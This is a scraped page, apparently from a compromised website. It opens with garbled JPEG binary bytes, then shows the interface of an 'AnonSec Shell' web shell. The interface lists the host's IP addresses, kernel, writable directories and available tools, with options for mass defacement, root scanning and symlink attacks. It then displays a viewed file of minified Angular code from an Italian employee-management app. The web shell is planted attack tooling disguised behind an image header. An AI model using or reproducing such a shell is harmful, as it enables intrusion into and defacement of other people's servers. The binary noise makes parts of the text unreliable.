JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/public/13-es2015.4dbfe5cfbb270f8fc3b3.js
(window.webpackJsonp=window.webpackJsonp||[]).push([[13],{ZAeM:function(e,t,i){"use strict";i.r(t),i.d(t,"EmployeesModule",function(){return dt});var n=i("tyNb"),o=i("d2mR"),a=i("5eqV"),c=i("ijA0"),r=i("XNiG"),l=i("3Pt+"),s=i("6N5d"),b=i("3Nfp"),d=i("zEtD"),m=i("euDi"),u=i("PSD3"),p=i.n(u),g=i("AytR"),f=i("fXoL"),h=i("ofXK"),v=i("W/eW"),C=i("ZOsW"),V=i("Mfq2"),U=i("sYmb"),_=i("wd/R");let I=(()=>{class e{transform(e,t,i){return e&&t&&t?e.filter(e=>{var n,o,a,c,r;let l=!0;for(let s=0;s<i.length;s++){let b=i[s];if("text"==b.type){let i=null===(n=t.get(b.key))||void 0===n?void 0:n.value;i&&-1==e[b.key].toLowerCase().indexOf(i.toLowerCase())&&(l=!1)}else if("date"==b.type){let i=null===(o=t.get(b.key+"_start"))||void 0===o?void 0:o.value;i&&e[b.key]&&_(e[b.key])<_(i,"DD/MM/YYYY")&&(l=!1);let n=null===(a=t.get(b.key+"_end"))||void 0===a?void 0:a.value;n&&e[b.key]&&_(e[b.key])>_(n,"DD/MM/YYYY")&&(l=!1)}else if("select"==b.type){let i=null===(c=t.get(b.key))||void 0===c?void 0:c.value;if(i&&i.length>0){let t=!1;for(let n=0;n<i.length;n++)if(i[n]&&e[b.key]){let o=e[b.key];if(typeof o==typeof String())o.toLowerCase()==i[n].toLowerCase()&&(t=!0);else if(typeof o==typeof Object()&&Array.isArray(o)&&o.length)if(typeof o[0]==typeof String());else if(typeof o[0]==typeof Object()&&typeof o[0][b.childKey]==typeof String()){let e=o.filter(e=>e[b.childKey].toLowerCase()==i[n].toLowerCase());e&&e.length&&e.length>0&&(t=!0)}}t||(l=!1)}}else if("multiSelect"==b.type){let i=null===(r=t.get(b.key))||void 0===r?void 0:r.value;if(i&&i.length>0){let t=!1;i.every(t=>e[b.key].includes(t))&&(t=!0),t||(l=!1)}}}return l}):e}}return e.\u0275fac=function(t){return new(t||e)},e.\u0275pipe=f.Ob({name:"employeesfilter",type:e,pure:!1}),e})();const y=["Selecter"];function x(e,t){if(1&e&&(f.Vb(0,"div"),f.Vb(1,"div",39),f.cc("click",function(){const e=t.$implicit;return e.active=!e.active}),f.Qb(2,"i"),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ic(5," \xa0 "),f.Ub()),2&e){const e=t.$implicit;f.Cb(1),f.nc("ngClass",e.active?"badge-warning":"badge-light"),f.Cb(1),f.Fb("zmdi zmdi-",e.active?"minus-circle-outline":"plus-circle-o",""),f.Cb(1),f.Kc(" ",f.ic(4,5,e.name)," ")}}function z(e,t){if(1&e){const e=f.Wb();f.Tb(0),f.Vb(1,"div",42),f.Vb(2,"div",43),f.Vb(3,"h3",44),f.Ic(4),f.hc(5,"translate"),f.hc(6,"translate"),f.Ub(),f.Vb(7,"app-datetime-manager",45),f.cc("modelChange",function(t){f.Ac(e);const i=f.gc().$implicit;return f.gc(2).advSearchForm.controls[i.key+"_start"].value=t}),f.hc(8,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(9,"div",42),f.Vb(10,"div",43),f.Vb(11,"h3",44),f.Ic(12),f.hc(13,"translate"),f.hc(14,"translate"),f.Ub(),f.Vb(15,"app-datetime-manager",45),f.cc("modelChange",function(t){f.Ac(e);const i=f.gc().$implicit;return f.gc(2).advSearchForm.controls[i.key+"_end"].value=t}),f.hc(16,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Sb()}if(2&e){const e=f.gc().$implicit,t=f.gc(2);f.Cb(4),f.Lc("",f.ic(5,8,e.name)," ",f.ic(6,10,"Inizio"),""),f.Cb(3),f.nc("model",t.advSearchForm.controls[e.key+"_start"].value)("placeholder",f.ic(8,12,"Inserire il valore")),f.Cb(5),f.Lc("",f.ic(13,14,e.name)," ",f.ic(14,16,"Fine"),""),f.Cb(3),f.nc("model",t.advSearchForm.controls[e.key+"_end"].value)("placeholder",f.ic(16,18,"Inserire il valore"))}}function O(e,t){if(1&e&&(f.Vb(0,"div",43),f.Qb(1,"input",47),f.Qb(2,"i",48),f.Ub()),2&e){const e=f.gc(2).$implicit;f.Cb(1),f.oc("formControlName",e.key)}}function w(e,t){if(1&e&&(f.Vb(0,"div",43),f.Qb(1,"ng-select",49),f.hc(2,"translate"),f.Ub()),2&e){const e=f.gc(2).$implicit;f.Cb(1),f.oc("bindLabel",e.valopt),f.oc("bindValue",e.valopt),f.oc("formControlName",e.key),f.nc("items",e.options)("multiple",e.multiple?"true":"false")("placeholder",f.ic(2,6,"Seleziona un'opzione"))}}function k(e,t){if(1&e&&(f.Vb(0,"div",43),f.Qb(1,"ng-select",49),f.hc(2,"translate"),f.Ub()),2&e){const e=f.gc(2).$implicit;f.Cb(1),f.oc("bindLabel",e.valopt),f.oc("bindValue",e.valopt),f.oc("formControlName",e.key),f.nc("items",e.options)("multiple",e.multiple?"true":"false")("placeholder",f.ic(2,6,"Seleziona un'opzione"))}}function F(e,t){if(1&e&&(f.Vb(0,"div"),f.Vb(1,"h3",44),f.Ic(2),f.hc(3,"translate"),f.Ub(),f.Gc(4,O,3,1,"div",46),f.Gc(5,w,3,8,"div",46),f.Gc(6,k,3,8,"div",46),f.Ub()),2&e){const e=f.gc().$implicit;f.Fb("col-md-",e.children&&e.children.length>0?"12":"6",""),f.Cb(2),f.Jc(f.ic(3,7,e.name)),f.Cb(2),f.nc("ngIf","text"==e.type),f.Cb(1),f.nc("ngIf","select"==e.type),f.Cb(1),f.nc("ngIf","multiSelect"==e.type)}}function E(e,t){if(1&e&&(f.Vb(0,"div",43),f.Qb(1,"input",47),f.Qb(2,"i",48),f.Ub()),2&e){const e=f.gc(2).$implicit;f.Cb(1),f.oc("formControlName",e.key)}}function Q(e,t){if(1&e&&(f.Vb(0,"div",43),f.Qb(1,"ng-select",52),f.hc(2,"translate"),f.Ub()),2&e){const e=f.gc(2).$implicit;f.Cb(1),f.oc("formControlName",e.key),f.nc("items",e.options)("placeholder",f.ic(2,3,"Seleziona un'opzione"))}}function S(e,t){if(1&e&&(f.Vb(0,"div",42),f.Vb(1,"h3",44),f.Ic(2),f.hc(3,"translate"),f.Vb(4,"span",51),f.Ic(5),f.hc(6,"translate"),f.Ub(),f.Ub(),f.Gc(7,E,3,1,"div",46),f.Gc(8,Q,3,5,"div",46),f.Ub()),2&e){const e=f.gc().$implicit,t=f.gc().$implicit;f.Cb(2),f.Kc("",f.ic(3,4,e.name)," "),f.Cb(3),f.Kc("- (",f.ic(6,6,t.name),")"),f.Cb(2),f.nc("ngIf","text"==e.type),f.Cb(1),f.nc("ngIf","select"==e.type)}}function L(e,t){if(1&e&&(f.Tb(0),f.Gc(1,S,9,8,"div",50),f.Sb()),2&e){const e=f.gc().$implicit;f.Cb(1),f.nc("ngIf",e.active)}}function A(e,t){if(1&e&&(f.Tb(0),f.Gc(1,z,17,20,"ng-container",40),f.Gc(2,F,7,9,"div",41),f.Gc(3,L,2,1,"ng-container",26),f.Sb()),2&e){const e=t.$implicit;f.Cb(1),f.nc("ngIf",e.active&&"date"==e.type),f.Cb(1),f.nc("ngIf",e.active&&"date"!=e.type),f.Cb(1),f.nc("ngForOf",e.children)}}function T(e,t){if(1&e){const e=f.Wb();f.Vb(0,"div",12),f.Vb(1,"div",13),f.Vb(2,"div",14),f.Vb(3,"div",27),f.Vb(4,"h4",16),f.Ic(5),f.hc(6,"translate"),f.Ub(),f.Vb(7,"h6",28),f.Ic(8),f.hc(9,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(10,"div",29),f.Vb(11,"div",30),f.Vb(12,"div",21),f.Vb(13,"div",31),f.Gc(14,x,6,7,"div",26),f.Ub(),f.Qb(15,"br"),f.Vb(16,"form",32),f.Vb(17,"div",33),f.Vb(18,"div",14),f.Gc(19,A,4,3,"ng-container",26),f.Ub(),f.Qb(20,"br"),f.Ub(),f.Vb(21,"div",34),f.Vb(22,"button",35),f.cc("click",function(){return f.Ac(e),f.gc().advSearchForm.reset()}),f.Qb(23,"i",36),f.Ic(24),f.hc(25,"translate"),f.Ub(),f.Ic(26," \xa0 "),f.Vb(27,"button",37),f.cc("click",function(){return f.Ac(e),f.gc().showAdvBox()}),f.Qb(28,"i",38),f.Ic(29),f.hc(30,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()}if(2&e){const e=f.gc();f.Cb(5),f.Jc(f.ic(6,7,"Ricerca Avanzata")),f.Cb(3),f.Kc("",f.ic(9,9,"Seleziona i criteri di ricerca per cercare i dipendenti, puoi selezionare un gruppo di criteri selezionando il titolo del gruppo (es. Anagrafica)")," "),f.Cb(6),f.nc("ngForOf",e.field_ricerca_avanzata),f.Cb(2),f.nc("formGroup",e.advSearchForm),f.Cb(3),f.nc("ngForOf",e.field_ricerca_avanzata),f.Cb(5),f.Kc(" ",f.ic(25,11,"Azzera")," "),f.Cb(5),f.Kc(" ",f.ic(30,13,"Chiudi")," ")}}function P(e,t){1&e&&(f.Vb(0,"div",53),f.Ic(1),f.hc(2,"translate"),f.Ub()),2&e&&(f.Cb(1),f.Jc(f.ic(2,1,"Non sono presenti risultati!")))}function M(e,t){if(1&e&&(f.Vb(0,"tr"),f.Vb(1,"td",54),f.Vb(2,"table"),f.Vb(3,"tr"),f.Vb(4,"td",55),f.Qb(5,"img",56),f.Ub(),f.Vb(6,"td",55),f.Vb(7,"b"),f.Ic(8),f.Ub(),f.Qb(9,"br"),f.Vb(10,"p"),f.Ic(11),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Vb(12,"td",54),f.Vb(13,"table"),f.Vb(14,"tr"),f.Vb(15,"td",55),f.Ic(16),f.hc(17,"translate"),f.Ub(),f.Vb(18,"td",55),f.Vb(19,"a",57),f.Ic(20),f.Ub(),f.Ub(),f.Ub(),f.Vb(21,"tr"),f.Vb(22,"td",55),f.Ic(23),f.hc(24,"translate"),f.Ub(),f.Vb(25,"td",55),f.Vb(26,"a",57),f.Ic(27),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Vb(28,"td",58),f.Ic(29),f.Ub(),f.Vb(30,"td",58),f.Ic(31),f.Ub(),f.Vb(32,"td",58),f.Ic(33),f.Ub(),f.Vb(34,"td",59),f.Vb(35,"table",60),f.Vb(36,"tr"),f.Vb(37,"td",61),f.Vb(38,"button",62),f.hc(39,"translate"),f.Qb(40,"i",63),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e){const e=t.$implicit,i=f.gc();f.Cb(5),f.nc("src",e.photo_profile?i.imgUrl+e.photo_profile:i.contactDefaultImg,f.Cc),f.Cb(3),f.Lc("",e.name," ",e.surname,""),f.Cb(3),f.Jc(e.id_residence_city),f.Cb(5),f.Jc(f.ic(17,15,"Cell.")),f.Cb(3),f.pc("href","tel:",e.cellular,"",f.Cc),f.Cb(1),f.Jc(e.cellular),f.Cb(3),f.Kc("",f.ic(24,17,"Email")," "),f.Cb(3),f.pc("href","mailto:",e.email,"",f.Cc),f.Cb(1),f.Jc(e.email),f.Cb(2),f.Kc(" ",e.jobtitle," "),f.Cb(2),f.Kc(" ",e.department," "),f.Cb(2),f.Kc(" ",e.contract_type," "),f.Cb(5),f.pc("routerLink","edit-employee/",e.id_user,""),f.nc("tooltip",f.ic(39,19,"Visualizza Dipendente"))}}let N=(()=>{class e{constructor(e,t,i,n,o,a){this.fb=e,this.employeeService=t,this.utilsService=i,this.excelService=n,this.translate=o,this.growlService=a,this.employeesItems=[],this.employeesStatus=[],this.employeeByStatus=[],this.employeesSearch=!0,this.dtTrigger=new r.a,this.labelBtnAdvSearch="Ricerca Avanzata",this.langListOpt=new Array,this.allSkills=new Array,this.allMacroareas=new Array,this.buffer=new Array,this.mobilitazioneOpt=[],this.skillsOpt=[],this.contactDefaultImg="/assets/demo/img/contacts/user_empty.png",this.imgUrl=g.a.imageUrl,this.subs=[],this.caricaDati(),this.employeesSearch=!1,this.labelBtnAdvSearch="Ricerca Avanzata",this.field_ricerca_avanzata=[{type:"text",name:"Nome",active:!0,key:"name",required:!1,minlenght:!1,maxlenght:!1},{type:"text",name:"Cognome",active:!0,key:"surname"},{type:"text",name:"Email",active:!0,key:"email"},{type:"text",name:"Jobtitle",active:!0,key:"jobtitle"},{type:"select",options:this.skillsOpt,name:"Skill (Ricerca in OR)",active:!1,key:"skills",childKey:"skill"},{type:"multiSelect",options:this.mobilitazioneOpt,name:"Disponibilit\xe0 geografica",key:"mobilitazione",valopt:"mobilitazione"},{type:"date",key:"created_at",name:"Data Creazione",active:!0},{type:"date",key:"updated_at",name:"Data Ultimo Aggiornamento"}];let c=this.generateFormValidator();this.advSearchForm=e.group(c)}changeLanguage(e){b.a.setLang(e)}caricaDati(){this.getEmployees(),this.utilsService.getAllMobilitazioneOptions().subscribe(e=>{(e.status?e.message:[]).forEach(e=>{this.mobilitazioneOpt.push(e.name)})}),this.utilsService.getAllLanguagesLevelOptions().subscribe(e=>{this.langLevelOpt=e.status?e.message:[]}),this.utilsService.getLanguagesList().subscribe(e=>{this.languagesListOpt=e.message,this.languagesListOpt.forEach(e=>{this.langListOpt.push(e.name)})}),this.utilsService.getSkills().subscribe(e=>{(e.status?e.message:[]).forEach(e=>{this.skillsOpt.push(e.name)})})}generateFormValidator(){let e={};for(let t=0;t<this.field_ricerca_avanzata.length;t++)if("date"==this.field_ricerca_avanzata[t].type){e[this.field_ricerca_avanzata[t].key+"_start"]=["",[]];let i=e[this.field_ricerca_avanzata[t].key+"_start"][1];"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_start"][i.lenght]=l.v.required),e[this.field_ricerca_avanzata[t].key+"_end"]=["",[]],i=e[this.field_ricerca_avanzata[t].key+"_end"][1],"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_end"][i.lenght]=l.v.required)}else{e[this.field_ricerca_avanzata[t].key]=[null,[]];let i=e[this.field_ricerca_avanzata[t].key][1];if("required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key][i.lenght]=l.v.required),"minlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].minlenght&&(e[this.field_ricerca_avanzata[t].key][i.lenght]=l.v.minLength(this.field_ricerca_avanzata[t].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].maxlenght&&(e[this.field_ricerca_avanzata[t].key][i.lenght]=l.v.maxLength(this.field_ricerca_avanzata[t].maxlenght)),"children"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].children.length>0)for(let n=0;n<this.field_ricerca_avanzata[t].children.length;n++){e[this.field_ricerca_avanzata[t].children[n].key]=["",[]];let i=e[this.field_ricerca_avanzata[t].children[n].key][1];"required"in this.field_ricerca_avanzata[t].children[n]&&this.field_ricerca_avanzata[t].children[n].required&&(e[this.field_ricerca_avanzata[t].children[n].key][i.lenght]=l.v.required),"minlenght"in this.field_ricerca_avanzata[t].children[n]&&this.field_ricerca_avanzata[t].children[n].minlenght&&(e[this.field_ricerca_avanzata[t].children[n].key][i.lenght]=l.v.minLength(this.field_ricerca_avanzata[t].children[n].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t].children[n]&&this.field_ricerca_avanzata[t].children[n].maxlenght&&(e[this.field_ricerca_avanzata[t].children[n].key][i.lenght]=l.v.maxLength(this.field_ricerca_avanzata[t].children[n].maxlenght))}}return e}ngOnInit(){}ngOnDestroy(){for(let e of this.subs)e&&e.unsubscribe()}getEmployees(){this.employeeService.getUsers().subscribe(e=>{e.status&&(this.employeesItems=e.message)})}showAdvBox(){this.showAdvBoxFlag=!this.showAdvBoxFlag,this.labelBtnAdvSearch=this.showAdvBoxFlag?"Nascondi Ricerca":"Ricerca Avanzata"}exportExcel(){this.excelService.exportAsExcelFile([],"employees")}remove(e){p.a.fire({title:"Cancella Dipendente",text:"Attenzione: Sei sicuro di voler cancellare il dipendente?",showDenyButton:!0,icon:"warning",confirmButtonText:"Cancella Dipendente",denyButtonText:"Annulla Operazione"}).then(t=>{t.isConfirmed&&(this.employeeService.removeUser(e).subscribe(e=>{console.log("data",e)}),this.employeeService.getUsers().subscribe(e=>{!e.status||(this.employeesItems=e.message)}))})}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e),f.Pb(c.a),f.Pb(s.a),f.Pb(d.a),f.Pb(b.a),f.Pb(m.a))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employees-list"]],viewQuery:function(e,t){if(1&e&&f.Mc(y,1),2&e){let e;f.wc(e=f.dc())&&(t.ngselect=e.first)}},decls:60,vars:37,consts:[[1,"content__title","row"],[1,"col-3"],[2,"color","black"],[1,"col-9","text-right"],[1,"actions"],[1,"btn","btn-orange","mod","btn--icon-text","text-center",3,"click"],[1,"zmdi","zmdi-search"],[1,"d-none","d-md-inline"],[1,"btn","btn-dark","mod","btn--icon-text","text-center",3,"click"],[1,"zmdi","zmdi-download"],[1,"d-none","d-sm-inline"],["class","card",4,"ngIf"],[1,"card"],[1,"card-body"],[1,"row"],[1,"col-6","pt-2"],[1,"card-title"],[1,"col-6","text-right"],[1,"col-12","w-100"],["class","no-result",4,"ngIf"],[1,"w-100"],[1,"clearfix"],[1,"col-md-12","px-0","table-responsive"],[1,"table","table-bordered","w-100","text-center"],[1,"th-modis"],[1,"th-modis","d-none","d-md-table-cell"],[4,"ngFor","ngForOf"],[1,"col-12","pt-2"],[1,"card-subtitle"],[1,"row","mx-0","w-100"],[1,"w-100","pt-3"],[1,"row","pl-3","pr-3"],[3,"formGroup"],[1,"mb-2"],[1,"col","right"],[1,"btn","btn-dark","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-minus"],[1,"btn","btn-orange","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-close"],[1,"badge","mb-3","button-search-adv-field",3,"ngClass","click"],[4,"ngIf"],[3,"class",4,"ngIf"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title"],["mode","week","format","YYYY / [W]W","placement","bottom left",1,"h-33","w-100",3,"model","placeholder","modelChange"],["class","form-group",4,"ngIf"],["type","text","placeholder","","required","",1,"form-control",3,"formControlName"],[1,"form-group__bar"],[1,"border-select",3,"items","multiple","bindLabel","bindValue","placeholder","formControlName"],["class","col-md-6",4,"ngIf"],[1,"color_9c"],["bindLabel","children_field.name","bindValue","children_field.name",1,"border-select",3,"items","placeholder","formControlName"],[1,"no-result"],[1,"align-middle","text-left"],[1,"border-0"],["_ngcontent-dmd-c83","","alt","",1,"listview__img",3,"src"],[3,"href"],[1,"align-middle","text-left","d-none","d-md-table-cell"],[1,"align-middle","text-right"],[1,"m-0","p-0","w-100"],[1,"border-0","text-center"],["type","button",1,"btn","btn-info","active","text-center","btn-cube","mr-2",3,"routerLink","tooltip"],[1,"icon","zmdi","zmdi-edit"]],template:function(e,t){1&e&&(f.Vb(0,"header",0),f.Vb(1,"div",1),f.Vb(2,"h1",2),f.Vb(3,"b"),f.Ic(4),f.hc(5,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(6,"div",3),f.Vb(7,"div",4),f.Ic(8," \xa0 "),f.Vb(9,"button",5),f.cc("click",function(){return t.showAdvBox()}),f.Qb(10,"i",6),f.Vb(11,"span",7),f.Ic(12),f.hc(13,"translate"),f.Ub(),f.Ub(),f.Ic(14," \xa0 "),f.Vb(15,"button",8),f.cc("click",function(){return t.exportExcel()}),f.Qb(16,"i",9),f.Vb(17,"span",10),f.Ic(18),f.hc(19,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Gc(20,T,31,15,"div",11),f.Vb(21,"div",12),f.Vb(22,"div",13),f.Vb(23,"div",14),f.Vb(24,"div",15),f.Vb(25,"h4",16),f.Ic(26),f.hc(27,"translate"),f.Ub(),f.Ub(),f.Qb(28,"div",17),f.Ub(),f.Vb(29,"div",14),f.Vb(30,"div",18),f.Qb(31,"br"),f.Gc(32,P,3,3,"div",19),f.Ub(),f.Ub(),f.Vb(33,"div",20),f.Vb(34,"div",21),f.Vb(35,"div",22),f.Vb(36,"table",23),f.Vb(37,"thead"),f.Vb(38,"tr"),f.Vb(39,"th",24),f.Ic(40),f.hc(41,"translate"),f.Ub(),f.Vb(42,"th",24),f.Ic(43),f.hc(44,"translate"),f.Ub(),f.Vb(45,"th",25),f.Ic(46),f.hc(47,"translate"),f.Ub(),f.Vb(48,"th",25),f.Ic(49),f.hc(50,"translate"),f.Ub(),f.Vb(51,"th",25),f.Ic(52),f.hc(53,"translate"),f.Ub(),f.Vb(54,"th",24),f.Ic(55),f.hc(56,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(57,"tbody"),f.Gc(58,M,41,21,"tr",26),f.hc(59,"employeesfilter"),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(4),f.Jc(f.ic(5,13,"Dipendenti")),f.Cb(8),f.Kc(" ",f.ic(13,15,t.labelBtnAdvSearch),""),f.Cb(6),f.Jc(f.ic(19,17,"Esporta")),f.Cb(2),f.nc("ngIf",t.showAdvBoxFlag),f.Cb(6),f.Kc(" ",f.ic(27,19,"Lista Dipendenti"),""),f.Cb(6),f.nc("ngIf",0==t.employeesItems.length),f.Cb(8),f.Jc(f.ic(41,21,"Nome")),f.Cb(3),f.Jc(f.ic(44,23,"Contatti")),f.Cb(3),f.Jc(f.ic(47,25,"Job Title")),f.Cb(3),f.Jc(f.ic(50,27,"Dipartimento")),f.Cb(3),f.Jc(f.ic(53,29,"Contratto")),f.Cb(3),f.Jc(f.ic(56,31,"Azioni")),f.Cb(3),f.nc("ngForOf",f.kc(59,33,t.employeesItems,t.advSearchForm,t.field_ricerca_avanzata)))},directives:[h.n,h.m,l.w,l.o,l.i,h.l,v.a,l.c,l.u,l.n,l.g,C.a,n.g,V.a],pipes:[U.c,I],styles:[".right[_ngcontent-%COMP%]{text-align:right}.div-right[_ngcontent-%COMP%]{float:right}.radius[_ngcontent-%COMP%]{border-radius:50%}table[_ngcontent-%COMP%]   tr[_ngcontent-%COMP%]:hover{background-color:#59748163;cursor:pointer}.icon[_ngcontent-%COMP%]{margin-right:0;margin-top:-4px}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}.mod-col[_ngcontent-%COMP%]{background-color:#343a40}.table[_ngcontent-%COMP%]{color:#000;width:500px}td[_ngcontent-%COMP%]{background-color:#fff}.paginate_button[_ngcontent-%COMP%]   .current[_ngcontent-%COMP%]{background-color:#343a40!important;color:#fff}.schoolArea[_ngcontent-%COMP%]{display:block;border:1px solid #b7b7b7;padding:3px 10px 5px 5px;background-color:#9d9e9e85}.table[_ngcontent-%COMP%]   .zui-sticky-col[_ngcontent-%COMP%]{border-left:1px solid #ddefef;right:0;position:absolute;top:auto;width:auto}.table[_ngcontent-%COMP%]   .zui-sticky-col2[_ngcontent-%COMP%]{border-right:1px solid #ddefef;left:140px;position:absolute;top:auto;width:70px}.button-search-adv-field[_ngcontent-%COMP%]{cursor:pointer}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]{padding:.3rem!important;font-size:1rem;color:#333;vertical-align:middle!important}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]   p[_ngcontent-%COMP%]{text-overflow:ellipsis;white-space:nowrap;color:#8e9499;margin-bottom:0}.th-modis[_ngcontent-%COMP%]{vertical-align:middle!important}.thCustomWidth[_ngcontent-%COMP%]{width:110px}.columnKanban[_ngcontent-%COMP%]{min-height:600px;margin:5px;max-width:12.2857142857%!important;flex:0 0 12.2857142857%!important}.columnKanban[_ngcontent-%COMP%], .taskKanban[_ngcontent-%COMP%]{background-color:#fff;border-radius:3px}.taskKanban[_ngcontent-%COMP%]{box-shadow:1px 1px 3px;border:1px solid #d3d3d3;padding:5px}.titleColumnKanban[_ngcontent-%COMP%]{font-size:13.5px;text-transform:uppercase}.user__img[_ngcontent-%COMP%]{width:1.5rem;height:1.5rem;border-radius:50%;position:absolute;left:1rem;top:0;bottom:0;margin:auto}.example-container[_ngcontent-%COMP%]{width:400px;max-width:100%;margin:0 25px 25px 0;display:inline-block;vertical-align:top}.example-list[_ngcontent-%COMP%]{border:1px solid #ccc;min-height:60px;background:#fff;border-radius:4px;overflow:hidden;display:block}.example-box[_ngcontent-%COMP%]{border-bottom:1px solid #ccc;color:rgba(0,0,0,.87);display:flex;flex-direction:row;align-items:center;justify-content:space-between;box-sizing:border-box;cursor:move;background:#fff;font-size:14px}.cdk-drag-preview[_ngcontent-%COMP%]{box-sizing:border-box;border-radius:4px;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)}.cdk-drag-placeholder[_ngcontent-%COMP%]{opacity:0}.cdk-drag-animating[_ngcontent-%COMP%]{transition:transform .25s cubic-bezier(0,0,.2,1)}.example-box[_ngcontent-%COMP%]:last-child{border:none}.example-list.cdk-drop-list-dragging[_ngcontent-%COMP%]   .example-box[_ngcontent-%COMP%]:not(.cdk-drag-placeholder){transition:transform .25s cubic-bezier(0,0,.2,1)}.drop-zone[_ngcontent-%COMP%]{margin:40px}.customKanban[_ngcontent-%COMP%]{justify-content:center}.aggiornatoData[_ngcontent-%COMP%]{font-size:10px;color:#d3d3d3}.no-result[_ngcontent-%COMP%]{border:1px solid orange!important;background:#fbfbfb!important;color:#333!important;padding:10px;font-size:14px;text-align:center;margin:10px}.card-body__title[_ngcontent-%COMP%]{margin-bottom:0!important}"]}),e})();var K=i("mrSG"),q=i("SxV6"),J=i("vkgz"),G=i("WD1m"),D=i("d0ze"),j=i("kvL/"),R=i("bBYx"),W=i("aCXV");const $=["mobilitazioneSelector"],B=function(e){return["form-control",e]};function Y(e,t){if(1&e){const e=f.Wb();f.Vb(0,"div",5),f.Vb(1,"h3",6),f.Ic(2),f.hc(3,"translate"),f.Vb(4,"label",7),f.Ic(5,"*"),f.Ub(),f.Ub(),f.Vb(6,"div",8),f.Vb(7,"app-datetime-manager",13),f.cc("modelChange",function(t){return f.Ac(e),f.gc()._form.controls.residency_validity.value=t}),f.Ub(),f.Qb(8,"i",10),f.Vb(9,"div",11),f.Ic(10),f.hc(11,"translate"),f.Ub(),f.Ub(),f.Ub()}if(2&e){const e=f.gc();f.Cb(2),f.Jc(f.ic(3,5,"Scadenza permesso di 